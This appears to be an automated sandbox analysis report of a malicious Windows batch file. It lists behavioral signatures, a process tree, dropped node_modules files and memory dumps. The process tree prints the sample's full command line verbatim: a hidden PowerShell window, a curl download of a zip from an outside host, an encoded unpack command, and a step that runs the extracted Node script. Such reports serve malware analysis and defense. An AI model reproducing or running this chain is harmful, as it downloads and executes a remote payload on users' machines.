Overview

overview

8

Static

static

1

2.bat

windows10-2004-x64

8

2.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    111s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/06/2026, 12:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2.bat
  • Size 423B
  • Sample260625-pkltdsby21
  • SHA256 03d6c8cdf1b26aeedfcdd41fbaed94a273a28ccf6c58efdb59d104dc5ca643cd
  • MD5 SHA1 SHA512 TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "cmd /c 'curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd C:\Users\Admin\AppData\Local\Temp\node && node 1.d"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5820
        • C:\Windows\system32\curl.exe
          curl --ssl-no-revoke https://cqintzfep6rw6jc9.public.blob.vercel-storage.com/npm.zip -o C:\Users\Admin\AppData\Local\Temp\npm.zip
          4⤵
            PID:5276
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA==
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:676
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:4932
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4676
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1892

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_njyc3ged.xt2.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_njyc3ged.xt2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\custom\LICENSE
          • Size 1KB
          • SHA256 942eab097945c835cf41abcbf1b9a6659c5d0c3493e60c56796d2e045c219278
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CHANGELOG.md
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-contain\CHANGELOG.md
          • Size 2KB
          • SHA256 6d8f825bd629e540a0a1fb53f39a5892c65b50026ae5ac1c6f6e4e80d6b4f3c4
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CHANGELOG.md
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-dither\CHANGELOG.md
          • Size 2KB
          • SHA256 c38afd80fe96c5bf10f064cb3566885b585e8bb1a3396dd107720e6fdb5f99ae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          babel.config.js
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-threshold\babel.config.js
          • Size 773B
          • SHA256 b5605e07a11df21f28a90de71a7e591754adda74074f179265cf6c5973d8db7b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          license
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\default-clipboard-provider\node_modules\get-stream\license
          • Size 1KB
          • SHA256 48da2f39e100d4085767e94966b43f4fa95ff6a0698fba57ed460914e35f94a0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          license
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\default-clipboard-provider\node_modules\path-key\license
          • Size 1KB
          • SHA256 6fb9754611c20f6649f68805e8c990e83261f29316e29de9e6cedae607b8634c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\nut-js\LICENSE
          • Size 11KB
          • SHA256 c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          CHANGELOG.md
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\shared\CHANGELOG.md
          • Size 154B
          • SHA256 75353011946387da9bc0d81d3787eb6ed13918fa495d61640c10e9ef01c858f1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          bit32_out.bmp
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\bmp-js\test\bit32_out.bmp
          • Size 29KB
          • SHA256 b2348e7be0f01e79ffdc15b334792aa71ff06d64fed5cac20b705b0f39a0b6be
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          license
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\clipboard-image\license
          • Size 1KB
          • SHA256 5c932d88256b4ab958f64a856fa48e8bd1f55bc1d96b8149c65689e0c61789d3
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          browser-entrypoint.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\browser-entrypoint.d.ts
          • Size 120B
          • SHA256 444884d30aaf49257c24b7b3d13d127af7da3a6d0079f0930e77bca40ea64c85
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          has-cors.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\contrib\has-cors.d.ts
          • Size 39B
          • SHA256 9aced230fc6ddf5fda2b7527e3fb741b2990354532606c01988430e10d73f74b
          • MD5 SHA1 SHA512
          Submit Download

          parseqs.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\contrib\parseqs.d.ts
          • Size 309B
          • SHA256 6bdca8826081500c618b7c9ab38d7241c79cc9d9b47bbda70f9332ff18b19102
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          parseuri.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\contrib\parseuri.d.ts
          • Size 49B
          • SHA256 d51809d133c78da34a13a1b4267e29afb0d979f50acbeb4321e10d74380beeea
          • MD5 SHA1 SHA512
          Submit Download

          globals.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\globals.d.ts
          • Size 215B
          • SHA256 2753817d832d80a1b04be924d2013a7351fc2509dc861808958ce26619a0d953
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          globals.node.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\globals.node.d.ts
          • Size 709B
          • SHA256 d7341559b385e668ca553f65003ccc5808d33a475c141798ba841992fef7c056
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          index.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\index.d.ts
          • Size 810B
          • SHA256 6ea4f73a90f9914608bd1ab342ecfc67df235ad66089b21f0632264bb786a98e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          socket.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\socket.d.ts
          • Size 15KB
          • SHA256 dd336f44c7bdafe6dab6e11cbf976bc69983d12ea4e800138dcbe6cf3dee8119
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          transport.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transport.d.ts
          • Size 2KB
          • SHA256 1d963927f62a0d266874e19fcecf43a7c4f68487864a2c52f51fbdd7c5cc40d8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          index.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\index.d.ts
          • Size 245B
          • SHA256 79570f4dfd82e9ae41401b22922965da128512d31790050f0eaf8bbdb7be9465
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          polling-fetch.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\polling-fetch.d.ts
          • Size 454B
          • SHA256 e1dafdb1db7e8b597fc0dbc9e4ea002c39b3c471be1c4439eda14cf0550afe92
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          polling-xhr.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\polling-xhr.d.ts
          • Size 2KB
          • SHA256 29118054726a06a8fd3f0d401f712b4645c2112c97a663826176ae17d73489f5
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          polling-xhr.node.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\polling-xhr.node.d.ts
          • Size 385B
          • SHA256 df283af30056ef4ab9cf31350d4b40c0ed15b1032833e32dc974ade50c13f621
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          polling.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\polling.d.ts
          • Size 1KB
          • SHA256 5c59fd485fff665a639e97e9691a7169f069e24b42ffc1f70442c55720ad3969
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          websocket.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\websocket.d.ts
          • Size 1KB
          • SHA256 9de40cf702d52a49d6f3d36d054fc12638348ea3e1fb5f8d53ef8910e7eaa56f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          websocket.node.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\websocket.node.d.ts
          • Size 555B
          • SHA256 2f844dc2e5d3e8d15a951ff3dc39c7900736d8b2be67cc21831b50e5faaa760a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          webtransport.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\transports\webtransport.d.ts
          • Size 585B
          • SHA256 ecbbfd67f08f18500f2faaaa5d257d5a81421e5c0d41fa497061d2870b2e39db
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          util.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-client\build\esm-debug\util.d.ts
          • Size 288B
          • SHA256 4b7716182d0d0349a953d1ff31ab535274c63cbb556e88d888caeb5c5602bc65
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          decodePacket.browser.d.ts
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\engine.io-parser\build\esm\decodePacket.browser.d.ts
          • Size 156B
          • SHA256 4b84373e192b7e0f8569b65eb16857098a6ee279b75d49223db2a751fdd7efde
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\es-errors\LICENSE
          • Size 1KB
          • SHA256 5e325595b4ea8cfec3802f545b1def5d7b73e4a5b8e9ba63e32a320f67732292
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          .nycrc
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\es-set-tostringtag\.nycrc
          • Size 139B
          • SHA256 997785c50b0773e5e18bf15550fbf57823c634fefe623cd37b3c83696402ad0a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          .eslintrc
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\has-tostringtag\.eslintrc
          • Size 43B
          • SHA256 0694050195fc694c5846b0a2a66b437ac775da988f0a779c55fb892597f7f641
          • MD5 SHA1 SHA512
          Submit Download

          .nycrc
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\hasown\.nycrc
          • Size 216B
          • SHA256 948366fea3b423a46366326d0bb2e54b08abd1cf0b243678ba6625740c40da5a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\isexe\LICENSE
          • Size 765B
          • SHA256 4ec3d4c66cd87f5c8d8ad911b10f99bf27cb00cdfcff82621956e379186b016b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          dice.png
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\jimp\browser\examples\dice.png
          • Size 213KB
          • SHA256 af8e81e3089ad082f171266b4de154bd398de4df0d41c90dc592bb12ef5723a6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          OpenConsole.exe
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\node-pty\third_party\conpty\1.23.251008001\win10-x64\OpenConsole.exe
          • Size 1.1MB
          • SHA256 d1fe7faa62f9e955e2ac2371f95d7e5513df4d496255097158f979c94782c5fc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          conpty.dll
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\node-pty\third_party\conpty\1.23.251008001\win10-x64\conpty.dll
          • Size 107KB
          • SHA256 7c7430632052ff703540b68371ec43821820aa1335d8e11dfbcd9ff00e9daaed
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          LICENSE.md
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          LICENSE
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          fetch.js
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          package.json
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512
          Submit Download

          package.json
          • Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512
          Submit Download

          memory/676-38-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-37-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-21-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-22-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-23-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-24-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-32-0x000001EB75BA0000-0x000001EB75C52000-memory.dmp
          Download

          memory/676-33-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-528-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-436-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-53-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-46-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-43-0x000001EB75B80000-0x000001EB75B92000-memory.dmp
          Download

          memory/676-44-0x000001EB75B70000-0x000001EB75B7A000-memory.dmp
          Download

          memory/676-42-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-41-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-40-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-39-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-31-0x000001EB75B80000-0x000001EB75B9E000-memory.dmp
          Download

          memory/676-34-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-36-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/676-35-0x000001EB75B70000-0x000001EB75B7A000-memory.dmp
          Download

          memory/1892-1819-0x000001FE14650000-0x000001FE14670000-memory.dmp
          Download

          memory/1892-1801-0x000001FE03C40000-0x000001FE03C60000-memory.dmp
          Download

          memory/1892-1786-0x000001FE038E0000-0x000001FE03900000-memory.dmp
          Download

          memory/1892-1775-0x000001FE001F0000-0x000001FE002F0000-memory.dmp
          Download

          memory/1892-1773-0x000001FE001F0000-0x000001FE002F0000-memory.dmp
          Download

          memory/1892-1787-0x000001FE13E40000-0x000001FE13F40000-memory.dmp
          Download

          memory/3216-0-0x00007FFD2AB7F000-0x00007FFD2AB80000-memory.dmp
          Download

          memory/3216-11-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-12-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-13-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-10-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-9-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-7-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
          Download

          memory/3216-6-0x0000026843350000-0x0000026843372000-memory.dmp
          Download

          memory/4676-2322-0x0000018890810000-0x0000018890986000-memory.dmp
          Download